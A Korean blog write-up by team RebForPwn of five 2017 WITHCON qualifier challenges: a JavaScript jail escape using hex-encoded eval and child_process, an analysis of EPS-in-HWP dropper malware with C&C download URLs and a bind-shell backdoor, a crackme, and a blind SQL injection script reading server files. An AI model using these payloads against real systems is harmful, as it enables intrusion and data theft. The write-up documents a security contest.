Uiseong Park zairo

Write-up

2017 WITHCON Quals

2017 White Hat Contest 예선 Write-up
Team. RebForPwn(zairo, jsh, choiys, keybreak)

Abstract

본 문서는 대한민국 화이트햇 콘테스트 해킹방어대회(이하 WITHCON) 예선에 참가하여 문제에 대한 풀이를 기록한 보고서이다. 작성자는 이번 대회에 참가한 RebForPwn 팀원들이며, 총 5가지의 문제에 대한 풀이를 서술한다.

1. Mic Check

Overview

문제 1번의 FLAG는 문제 설명 내에 존재한다. 문제 설명에 적힌 FLAG 형식의 괄호 사이의 값을 인증하면 문제가 해결된다.

Analysis

문제 설명에서 FLAG 값을 알려 주었으므로 FLAG 형식의 괄호 사이의 값을 인증한다.

Flag : Welcome_to_WhiteHat_Contest_2017


2. Jail

Overview

문제 2번은 javascript Shell에 대한 문제이다. nc 명령어를 통해 해당 URL로 접근할 경우 자바스크립트를 실행 할 수 있다. 이 입력을 이용하여 자바스크립트 쉘의 필터링을 우회하고 flag를 획득하여야 한다.

Analysis

challenges.whitehatcontest.kr5959 포트로 nc를 이용하여 접속하게 되면 자바스크립트 쉘이 출력된다. 이 쉘을 이용하여 자바스크립트를 실행할 수 있다. 이 문제에서는 필터링을 우회하고 쉘을 획득하여 flag 값을 읽어오는 것이 목적이므로 먼저 필터링을 우회하여 임의 스크립트를 실행할 수 있는 eval 함수를 사용하였다.

사용자 입력에 특수문자를 필터랑하여 특수문자 입력이 불가능하므로 \x를 이용하여 eval 함수로 1+1 연산을 실행하였다. 따라서 \x를 이용하여 특수문자 필터링 우회, eval함수를 이용한 특정 키워드 우회가 가능하므로 이 두 가지를 이용하여 임의의 자바스크립트 코드를 실행할 수 있다.

input = 'var exec=require("child_process").exec; \
            exec("cat flag", \
                function(err,stdout,stderr){ \
                    if(err){ \
                        console.log("error"); \
                        return; \
                    }console.log(stdout); \
                });'
query = ""

for ch in input:
    query += "\\x"+ch.encode('hex')

print 'eval("'+query+'")'

따라서 글자를 알파벳과 특수문자 상관없이 hex로 변경 후 \x를 이용하여 출력하는 코드를 작성하였다. 이후 해당 코드를 자바스크립트 쉘에서 실행하여 flag를 읽어올 수 있었다.

Flag : easy~easy!easy?_Jav4-scr1pt~yay


3. 침해사고

Overview

해당 문제는 한글 악성코드에 관한 침해사고 분석 보고서를 제출하는 문제이다.

사건 시나리오

  1. 금융회사에 재직 중인 희생자 과장은 컨퍼런스에서 자신을 금융 연구회 소속으로 소개한 공격자 연구원을 알게 되었다.
  2. 후일, 공격자 연구원은 최근 이슈가 되고 있는 암호 화폐와 관련 중요한 정보를 공유하고 싶다며 이메일을 보내왔다.
  3. 정보 보안 담당자인 당신은 모니터링 업무중 희생자 과장의 이메일로 송신된 메일 첨부파일에서 악성코드가 탐지되었다는 알람을 받게 된다.
  4. 해당 메일의 첨부된 한글 파일을 확보한 당신은 악성코드의 정체를 밝혀야 한다.

사건 KeyWord

  • 이메일 송신 첨부파일
  • 한글 첨부 파일
  • 금융회사 재직 중인 '희생자' 과장
  • 금융 연구회 소속 '공격자' 연구원

분석 보고서 요구 내용

  • 문제풀이 내용
  • 해당 보안 이슈에 대한 대응방안

사건 내용 요약

금융회사 직원의 메일로 수신된 이메일의 첨부파일에서 악성코드가 탐지되었으며, 해당 첨부파일은 외부 인사로부터 받은 "암호 화폐"와 관련된 중요한 내용의 HWP 파일입니다. 아래 분석 보고서에는 해당 HWP 파일에 대한 분석 내용을 포함하고 있습니다.

분석 대상

  • 파일 명 : 암호화폐_최신정보.hwp
  • MD5 hash : 60d9c060178f4427d5ca3d565c0342ed
  • 용량 : 222208 byte
  • 마지막 수정 일자 : 2017. 11. 01_09:28:28 (UTC +09:00)
  • Hash Value 검증

  • 마지막 수정 일자 검증

분석 간 사용 도구 및 환경 명세

  • 분석 환경

    • Windows 10 Pro x64, Windows7 x64, macOS Sierra 10.12.5, Ubuntu 16.04 x64

  • 사용 도구

    • linux, unix 기본 도구 (strings, xxd 등)

    • notepad++, sublime Text3, IDA Pro 6.7 version, python 2.7 version

    • binwalk, Structured Storage View.exe

"암호화폐_최신정보.hwp" & HWP 기본 구조

해당 파일에 대해서 상세한 분석을 진행하기 위해서, 기본적인 정보들에 대해서 아래와 같이 확인할 수 있습니다. Hangul 파일이며, 5.x 버전을 명시하고 있는 것을 file command를 통해 아래와 같이 확인할 수 있습니다. 정상적인 HWP signature를 가지는 것을 확인할 수 있었으며, 이를 분석하기 위해서 먼저, HWP 파일이 가지는 구조에 대해서 알아야 합니다.

해당 HWP에 대해 분석하기 위해서는 HWP 파일이 가지는 개별적인 구조에 대해서 숙지하고 있어야하며 이를 개괄적으로 아래와 같은 구조를 가집니다. 복합 파일(Compound File) 구조를 가지기 때문에, 내부적으로 스토리지(Storage)와 스트림(Stream)을 구별하기 위한 이름을 가지는 것을 확인할 수 있습니다. 하나의 스트림에는 일반적인 바이너리나 레코드 구조로 데이터가 저장되고, 스트림에 따라서 압축/암호화가 되기도 하는 특징이 있습니다.

다양한 Storage 구조 중, 본 문제를 해결하기 위해 유심히 살펴본 구조는 BinData 구조입니다. BinData 스토리지에는 그림이나 OLE 개체와 같이 문서에 첨부된 바이너리 데이터가 각각의 스트림으로 저장되며, 해당 부분에 대한 검증/확인을 통해서 악성코드 정황을 찾아낼 수 있었습니다.

"암호화폐_최신정보.hwp" Storage 구조 분석

주어진 문제에 대한 암호화폐_최신정보.hwp 파일에 대한 분석을 수행하기 위해서 SSView.exe 도구를 이용해 해당 HWP 파일을 Storage 구조를 확인한 결과 아래와 같은 구조를 식별할 수 있었습니다.

BinData Storage 내에 존재하는 문서에 첨부된 BIN0001.ps외엔 의심스러운 항목을 별도로 식별할 수 없었기 때문에, 해당 .ps 파일을 추춘해 분석을 시도하였습니다. 추출은 SSView.exeexport 기능을 사용하였으며, HWP 파일은 내부적으로 압축을 하여 데이터를 저장하기 때문에, 추출한 데이터의 Binary 데이터를 Zlib 압축 해제해준 결과 아래와 같이 평문 식별이 가능한 PostScript 문을 확인할 수 있었습니다.

ExportZlib Decompress DataPostScript 파일로써, 실제적으로 해당 HWP 파일이 열렸을 때, 내부적으로 수행되는 악성코드의 동작입니다. 해당 PostScript 파일에서 아래와 같은 Hex-Data 덩어리를 확인할 수 있습니다. /data로 표현되는 해당 데이터를 readhexstring으로 읽은 것을 확인할 수 있는데 이를 분석함으로써, 해당 PostScript가 실행하는 실행파일을 확인할 수 있습니다.

최근 들어 발생하는 유사한 사례들의 경우(EPS. encapsulated postscript를 활용한 문서형 악성코드 배포)를 통해서 XOR 연산과 해당 데이터가 관련 있을 것이라 생각하였으며, 실제로 해당 hex data를 확인한 결과 whitehat 이라는 문자열이 상당수 반복되는 구간을 통해서, PE 파일의 Section table에 존재하는 Null Data 영역에 대한 XOR Encrypt를 유추할 수 있었으며 해당 Binarywhitehat이라는 문자열 key를 통해 XOR Decrypt 함으로써, PE 파일을 식별할 수 있었습니다.

해당 PostScript는 문서 내에 아래와 같은 Image에 삽입되어 은닉되어 있었습니다.

PostScript로 부터 생성되는 PE 파일을 분석하기 위해서, IDA Pro를 사용하였으며 분석을 시도하면, 해당 바이너리에 대한 PDB 파일이 존재하지 않기 때문에 심볼 정보가 모두 깨져 정확한 함수명을 식별할 수 없는 것을 확인할 수 있습니다.

심볼 정보 없이, 바이너리 분석을 통해 해당 PE 파일의 실행 동작을 아래와 같이 확인할 수 있었습니다. XORdecryptFile은 해당 파일을 Hnc Update와 관련된 문자열을 출력하며 실행이 되는데, 이는 http://cnd.hancom.com/pds/hnc/VIE/HOffice_NEO_Viewer.exe 로부터 NEO viewer.exe를 다운받는 과정이며, 일련의 과정에서 자신을 시작 프로그램에 HncUpdate90.exe로 등록하는 것을 확인할 수 있습니다.

해당 파일은 업데이트를 표면적으로 표시하며, TEMP 경로에 실제 한글 뷰어 파일을 다운로드 받으며, 시작 프로그램에 HncUpdate90.exe라는 이름으로 자신을 복제하여 등록함과 동시에 http://malwaremustdie.hacklab.kr/svchost32.exe로 접속하여 svchost32.exe라는 파일을 C:\Windows\System32\ 폴더 내에 드랍하는 동작을 수행합니다.

"svchost32.exe" 동작 분석

malwaremustdie.hacklab.kr로부터 svchost32.exe를 다운받은 이후에 HncUpdate90.exe는 해당 svchost32.exe 파일을 실행하며, svchost32.exemalwaremustdie.hacklab.kr로부터 다시 python script 파일인 script.pyhttp://malwaremustdie.hacklab.kr/script.py로부터 드랍하고 system 명령어를 이용해, 해당 script.py를 실행시키는 동작을 수행합니다.

"script.py" 동작 분석

결과적으로, 악성 행위를 수행하는 것은 svchost32.exe를 통해 드랍되는 script.py 파일입니다. 해당 python codebackdoor 역할을 수행하며, 실행 루틴은 아래와 같습니다.

http://malwaremustsdie.hacklab.kr:31337/ip.phpurlopen을 통해 접속한 뒤, 명시된 Public key를 이용해서 희생자 PChostname(node)IPRSA 암호화 하고 이를 다시 http://malwaremustdie.hacklab.kr:31337/check.php?hash= 를 통해서 검증 작업을 수행하며, 정상적인 노드 정보가 확인되는 경우에, http://malwaremustdie.hacklab.kr:31337/upload.php에 해당 PC와 관련된 식별 정보를 업로드 합니다.

위 과정을 수행한 직후, script.py 파일은 희생자의 PC에서 backdoor 동작을 수행합니다. socket 연결을 바인딩하며, 1337 port를 통해 대기합니다. 연결이 수립되기 전에 Password 확인을 하는 작업을 확인할 수 있으며, 사용되는 Password는 해당 PCnode() 결과 (host-name) 입니다.

Password 검증을 통해 해당 node에 대한 Password가 일치할 경우, Popen 함수를 통해 CMD 창을 생성하며, 공격자로부터 수신하는 Command를 수행하는 동작을 위에서 확인할 수 있습니다. 또한 exit 명령어를 수신할 때까지 바인딩을 지속적으로 유지하는 것을 확인할 수 있습니다.

분석 결과 정리

해당 악성코드는 HWP 내에 임베딩 되는 이미지 파일에 PostScript를 이용해서 특정 동작을 수행하는 방식을 이용하였습니다. PostScript를 이용한 한글 악성코드 즉, EPS(Encaptulated PostScript) 방식으로 잘 알려져 있습니다.

  1. E-mail을 통해 수신된 첨부 파일 내에는 BINDATA storage 내부에 BIN0001.ps 형태로 PostScript가 은닉되어 있습니다.

  2. 해당 PostScripthwp가 실행될 때, gswin32c.exegsdll32.dll 모듈을 통해서 동작을 수행하며, 내부적으로 가지고 있는 hex-dataxor 연산하여 PE 파일을 생성합니다.

  3. 해당 PE 파일은 HncUpdate90.exe 파일로써, 한글 업데이트 파일로 보이나 실제 동작은 C&C로 식별되는 http://malwaremustdie.hacklab.kr/svchost32.exe 파일을 다운받고, 스스로를 시작프로그램에 등록하고 host가 재실행 될 때마다 동작을 수행하는 Dropper형 악성코드라고 할 수 있습니다. C&CIP 정보는 아래와 같습니다.

  4. Dropsvchost32.exe의 동작은 http://malwaremustdie.hacklab.kr/script.py를 다시 다운받으며, 이를 system command를 통해서 실행하는 동작을 수행합니다.

  5. 최종적으로 dropscript.pyBackdoor 역할을 수행하며, 희생자 PC에서 hsotname 정보와 IP 정보를 C&C(http://malwaremustdie.hacklab.kr:31337/ip.php)에 등록하며 그 외에도 check.php, upload.php를 통해서 host 식별 정보를 확인하고 업로드 하는 작업을 수행합니다. 이후 socket binding 상태로 연결을 대기합니다.
  6. Binding 상태의 희생자 PC에 연결하기 위해서는 http://malwaremustdie.hacklab.kr:31337/upload.php에 등록한 해당 host-name을 사용해야하며, 연결이 수립된 이후에는 Popen을 통한 CMD창을 생성하여 공격자로부터 수신되는 Command를 수행하는 동작을 하는 Backdoor형 악성코드 입니다.
  7. 동작에 관한 간략한 구성 개요는 아래와 같습니다.

대응 방안 및 사후 조치

Windows 환경에서 해당 암호화폐_최신정보.hwp를 실행했을 때, 최신 업데이트된 AV version에서 Malware-generic이라는 탐지명으로 초기 DropperHncUpdate90.exe 파일을 탐지하는 것을 확인할 수 있습니다.

  • 후속조치

    1. 해당 C&C(malwaremustdie.hacklab.kr)와의 연결 기록이 존재하는 다른 감염 PC가 있는지 파악하기 위해서, Firewall 장비나, IPS 장비 로그를 통해 정확한 피해 규모에 대한 식별을 할 수 있도록 합니다.
    2. 해당 문서 파일을 실행한 이력이 있는 PC들에 대해서는 다음과 같은 경로 C:\Users\사용자명\Appdata\Local\Temp 경로에 존재하는 파일에 대한 삭제 조치와 함께, C:\Users\사용자명\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HncUpdate90.exe에 설치된 Dropper 파일과 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run을 포함하여 Registry에 등록된, HncUpdate90.exe에 관한 항목을 삭제하고 downloadscript.py, svchost32.exe 파일을 삭제 조치합니다.
    3. 또한, 해당 PC 에 대해서 바이러스 백신 설치 / 최신 업데이트 유지하도록 하며, 더불어 동일 네트워크 망 내를 비롯하여 사내 전 서버의 단말에 대한 최신 보안 패치 업데이트를 진행하여 유지할 수 있도록 합니다.
    4. Backdoor 를 통한 2차 피해 발생을 방지하기 위해서, 권한에 대한 접근 통제 규칙을 강화합니다.
    5. 사용자들에 대한 정보 보안 교육을 실시하여, 악성코드 및 인터넷 사용을 통한 감염 등에 대한 보안 인식 제고를 도모합니다.
  • 대응 방안

    1. 의심스러운 E-mail 첨부파일

      신원이 불분명하거나, 첨부파일의 확장자가 이상한 경우, 의심스러운 첨부 파일로 보이는 경우 등의 상황에서는 해당 E-mail의 첨부파일을 다운받아 실행하는 행위를 자제하도록 합니다.

    2. 사용 중인 백신의 최신 버전 업데이트

      새로운 취약점이나, 알려진 취약점이 아닌 경우를 제외하고는 백신 회사를 통해 업데이트된 악성코드에 관한 Database를 항상 업데이트 해주어 악성 파일에 대한 탐지를 원활히 하도록 합니다.

    3. 사용 중인 문서 및 프로그램 최신 버전 업데이트

      사용자는 본인이 사용하고 있는 프로그램들에 대해서 보안 패치가 완료된 버전으로 상시 업데이트를 진행함으로써, 알려진 취약점을 활용한 악성코드 및 공격에 예방할 수 있습니다.

    4. Mail server 및 보안 장비 관제

      기관이나 기업과 같은 곳이라면, 별도의 Mail Server를 관리하고 있을 것입니다. 해당 Mail Server의 관계자나 정보 보안 담당자는 Spam FIltering과 같은 Solution등을 활용하여, 최근 유행하는 악성코드와 관계된 File Signature, 행위 등에 대해 숙지하여, 발생되는 Traffic 속에서 의심스러운 Data를 탐지해낼 수 있도록 Pattern update 등에 대해 관리함으로써, 여러 악성 행위에 대처할 수 있습니다.

관련 기사 및 참고 자료

최근 가상 화폐와 관련된 이슈사항이 급등하는 만큼 본 악성코드 분석 건과 관련된 최근 이슈 또한 다양하게 존재하는 것을 확인할 수 있었으며, 아래에 그 관련 내용과 함께 참고한 항목들을 정리하였습니다.


4. crackme

Overview

입력한 PASSCODE에 따라서 FAILEDCONGRATZ가 출력되는 전형적인 crackme 문제다.

Analysis

제공된 바이너리는 ELF 64bit이며, IDA로 Decompile 시, main 함수에서 많은 연산을 하는 것을 알 수 있다.

Main 함수를 직접 분석하는 것은 많은 시간이 소요되므로 Intel PIN을 이용해 문제를 해결하였다. 입력할 수 있는 문자를 모두 넣기 위해 Python Script를 작성했다.

Count.py를 실행 결과값인 count값을 비교하여 편차가 가장 큰 한 값을 찾아낸다.

다른 문자들은 같거나 비슷한 count 값을 출력하지만 H152359로 큰 차이로 출력됐다. H를 추가하여 다음 문자의 count 값을 찾아낸다.

H4, H4P일 때 count 값이 차이가 많이 나타난 것을 알 수 있다.

위와 같은 방식으로 한 자리씩 추가하여 count 값을 비교하여 큰 차이가 나는 문자를 찾아주면 아래와 같이 Flag를 얻을 수 있다.

Flag : H4PPyW1THC0nCTF!


5. winner of life

Overview

winner of life는 웹 문제로, 별다른 설명 없이 웹페이지 링크만 주어진다.

메인페이지를 살펴보면 Register 할 수 있는 메뉴가 있다.

Analysis

로그인 이후 메뉴를 살펴보면 이전에 없던 Buy, History, Statistics가 추가된 것을 확인 할 수 있다.

가장 먼저 메인페이지의 html 소스를 확인해보면 하단에 주석 처리로 leak.tar라는 힌트가 있는 것을 확인 할 수 있다.

leak.tar의 압축을 해제하고 crontabinformationvar_dump의 내용 중 crontab의 정보를 확인해보면 /var/www/html/e57717591ebe1d829b3def08f229a53b.php 파일을 5분마다 root 권한으로 실행시키는 것을 알 수 있다.

또한, leak.tar에 주어진 var_dump.txt를 확인해보면 secure_file_priv/var/www/html/로 제한되어 있는 것을 알 수 있다. 이로 인해 load_file 함수를 이용했을 때 /var/www/html/ 경로의 하위 파일들만 접근이 가능하다.

다음으로 로그인 후 생성되었던 Statistics 메뉴를 확인한 상태이다. 여기서 파라미터로 p=statistics를 넘겨주며, no=1을 넘겨준다. 이 때 no 파라미터의 값을 바꿔주면 ROUND에 표시되는 값이 바뀌며, 해당 라운드의 WINNER를 표시해준다.

만약 no 파라미터에 숫자가 아닌 a와 같은 문자를 넣는다면 'Round' is must be Integer, not null, not char, not string과 같은 에러 메시지가 나타난다.

여기서 no 파라미터에 0 union select 99,1,1 과 같이 입력했을 때 ROUND에 첫번째 칼럼의 결과가 출력된다. 이를 이용해 원하는 내용을 추출 할 수 있다.

또한, load_file 내장 함수를 이용한다면 서버 내에 저장되어 있는 특정 파일의 내용을 불러올 수 있다. 하지만 statistics 페이지의 no 파라미터에는 다양한 필터링이 걸려있어, 이를 우회하기 위해 strcmp, mid 등의 함수를 이용했다. 다음과 같은 형식의 구문을 이용하면 blind SQL Injection으로 원하는 파일의 내용을 읽어올 수 있다.

no=0 union select strcmp(mid(load_file('파일명'),1,1),'비교대상')

위 형태의 payload를 기반으로 스크립트를 작성하였다.

import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 

def send_payload(index,ch): 
    # file = '/var/www/html/e57717591ebe1d829b3def08f229a53b.php'.encode('hex') 
    # file = '/var/www/html/buy.php'.encode('hex') 
    # file = '/var/www/html/buy_check.php'.encode('hex') 

    file = '/var/www/html/statistics.php'.encode('hex') 
    payload = """0 union select strcmp(mid(load_file(0x"""+file+"""),"""
    payload = payload + str(index)+""",1),"""+hex(ch)+"""),1,1""" 
    headers={"Cookie": "PHPSESSID=q5iuj5akirfuv7u7vhqhn08ol1; AWSALB=M+JDN5wSCL5Zq94BI5Lm/8lFkoF1bPkTZamm9izwghbQfsB+PeiRLab+c8BbR3VYUZ2zIFy//C9PTGg7oAr/l7Kxn+YRx7681jXH8nMkyA7EzU17lLXz7L+ssrve"} 

    r = requests.get("https://309d24f0f1f4d43c7640b02baa5d8667.whitehatcontest.kr/?p=statistics&no="+payload, headers=headers, verify=False) 

    if "ROUND : 1" in r.text: 
        return "up" 
    elif "ROUND : -1" in r.text: 
        return "down" 
    else: 
        return "bingo" 

f= open('index.php', 'wb')
key = "" 
index = 1 

for l in range(1, 100000): 
    low = 0 
    high = 0xff-1 

    while (low <= high): 
        mid = (low+high)//2 

        if send_payload(l,mid) == 'down': 
            high = mid - 1 
        elif send_payload(l,mid) == 'up': 
            low = mid + 1 
        else: 
            key += chr(mid) 
            print key 
            f.write(chr(mid)) 
            break 

f.close()

여러 필터링을 우회하기 위해 0x를 이용한 hex encoding을 사용하였으며, strcmp의 특성상 -1, 0, 1의 결과로 나타나기 때문에 이를 이용하여 binary search를 통해 효율을 높였다.

앞서 작성한 스크립트를 통해 서버의 소스코드를 모두 추출하는데 성공하였다. FLAG를 얻어내기까지, 일반적인 시나리오는 다음과 같다.

  1. crontab에 있던 php 파일은 9en3rat0r.php에서 /var/www/s3cre7_fi1e의 내용을 시드로 난수를 생성, 정렬하여 7자리의 당첨 번호를 생성 후 새로운 시드를 해당 파일에 저장한다. 또한 생성된 당첨번호를 현재 round의 시도한 번호들과 대조하여 당첨번호와 동일할 경우 Winners 변수에 해당 사용자의 이름을 기록, LOG 테이블에 당첨 번호와 함께 당첨자들을 기록한다.
  2. history.php에서는 해당 사용자 세션의 id를 받아 ATTEMPT 테이블에서 최근에 시도한 번호들을 추출하며, 당첨번호와 동일할 경우 /var/www/fl4g_Fi13에 있는 플래그를 출력해준다.

정상적인 방법으로 FLAG를 얻을 수 있는 방법은 위 두가지 방법과 같다.

하지만 crontab에서 5분에 한번씩 돌고 있는 php 파일에서 시드를 생성 및 저장하는 s3cre7_fi1e과 현재 시각을 저장하는 T1M3 파일의 경우 /var/www/ 의 경로에 존재하기 때문에 secure_file_priv/var/www/html/로 설정되어 있는 데이터베이스로는 접근 할 수 없다. 따라서 e57717591ebe1d829b3def08f229a53b.phpcrontab으로 인해 root가 접근하는 것이 아닌 사용자가 직접 접근한다면 luckynumber 변수의 값은 random 값이 아닌 일정한 값이 될 것이다. 결국 5분마다 접근하는 경우가 아닌 사용자가 접근하는 경우에는 라운드만 바뀌고, luckynumber의 값은 고정이 되며, 이를 LOG 테이블에서 추출할 수 있을 경우 당첨번호를 알아 낼 수 있게 된다. 이를 위한 시나리오는 아래와 같다.

  1. e57717591ebe1d829b3def08f229a53b.php에 접근하여 ROUND를 임의로 증가시킨다. 또한 이 과정에서 이전 ROUNDluckynumber가 현재 ROUND에 그대로 저장된다.
  2. statistics.php에서 no 파라미터의 값을 공격 벡터로 Blind SQL Injection을 할 수 있고, 이를 통해 현재 ROUNDluckynumber를 추출할 수 있다.
  3. 추출한 현재 ROUNDluckynumberbuy.php에서 직접 입력한다.
  4. history.php에서 luckynumber와 입력한 번호가 동일하기 때문에 FLAG가 출력된다.
union select strcmp(mid(luckynumbers from LOG limit [ROUND -1],1),1,1),'비교대상'),1,1

lucky number 를 알아내기 위한 스크립트는 이전에 작성한 binary search 스크립트에서 쿼리 문만 위와 같이 변경해주면 된다.

import requests 
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 

def send_payload(index,ch): 
    # file = '/var/www/html/e57717591ebe1d829b3def08f229a53b.php'.encode('hex') 
    # file = '/var/www/html/buy.php'.encode('hex') 
    # file = '/var/www/html/buy_check.php'.encode('hex') 

    file = '/var/www/html/statistics.php'.encode('hex') 
    payload = """0 union select strcmp(mid((select luckynumbers from LOG limit 48621,1),"""+str(index)+""",1),"""+hex(ch)+"""),1,1"""
    headers={"Cookie": "PHPSESSID=q5iuj5akirfuv7u7vhqhn08ol1; AWSALB=M+JDN5wSCL5Zq94BI5Lm/8lFkoF1bPkTZamm9izwghbQfsB+PeiRLab+c8BbR3VYUZ2zIFy//C9PTGg7oAr/l7Kxn+YRx7681jXH8nMkyA7EzU17lLXz7L+ssrve"} 

    r = requests.get("https://309d24f0f1f4d43c7640b02baa5d8667.whitehatcontest.kr/?p=statistics&no="+payload, headers=headers, verify=False) 

    if "ROUND : 1" in r.text: 
        return "up" 
    elif "ROUND : -1" in r.text: 
        return "down" 
    else: 
        return "bingo" 

f= open('index.php', 'wb')
key = "" 
index = 1 

for l in range(1, 100000): 
    low = 0 
    high = 0xff-1 

    while (low <= high): 
        mid = (low+high)//2 

        if send_payload(l,mid) == 'down': 
            high = mid - 1 
        elif send_payload(l,mid) == 'up': 
            low = mid + 1 
        else: 
            key += chr(mid) 
            print key 
            f.write(chr(mid)) 
            break 

f.close()

해당 회차의 luckynumber를 추출한 후, buy.php에서 이를 입력하면 history.php에서 플래그를 획득할 수 있다.

Flag : Wa11Et_I5_H0W1IN9

Written by Team. RebForPwn

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.